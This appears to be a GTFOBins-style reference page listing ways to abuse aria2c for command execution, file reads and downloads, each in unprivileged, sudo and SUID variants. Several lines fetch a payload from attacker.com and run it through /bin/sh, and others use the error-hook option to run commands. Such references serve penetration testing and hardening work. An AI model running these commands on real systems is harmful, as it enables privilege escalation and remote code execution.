aria2c | bokkapig

Command

This executable can run non-interactive system commands.

CommentNote that the subprocess is immediately sent to the background.
Unprivileged
This function can be performed by any unprivileged user.
```
echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
```
CommentThe remote file aaaaaaaaaaaaaaaa (must be a string of 16 hex digit) contains the shell script, e.g., /path/to/command. Note that said file needs to be written on disk in order to be executed. --allow-overwrite is needed if this is executed multiple times with the same GID.
Unprivileged
This function can be performed by any unprivileged user.
```
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
```

File read

This executable can read data from local files.

CommentThe file is leaked as error messages.
Unprivileged
This function can be performed by any unprivileged user.
```
aria2c -i /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
aria2c -i /path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
aria2c -i /path/to/input-file
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

Download

This executable can download remote data.

CommentUse --allow-overwrite if needed. Similarly -o /path/to/ouput-file can be omitted, in that case the file is saved to input-file in the current working directory.
Unprivileged
This function can be performed by any unprivileged user.
```
aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file
```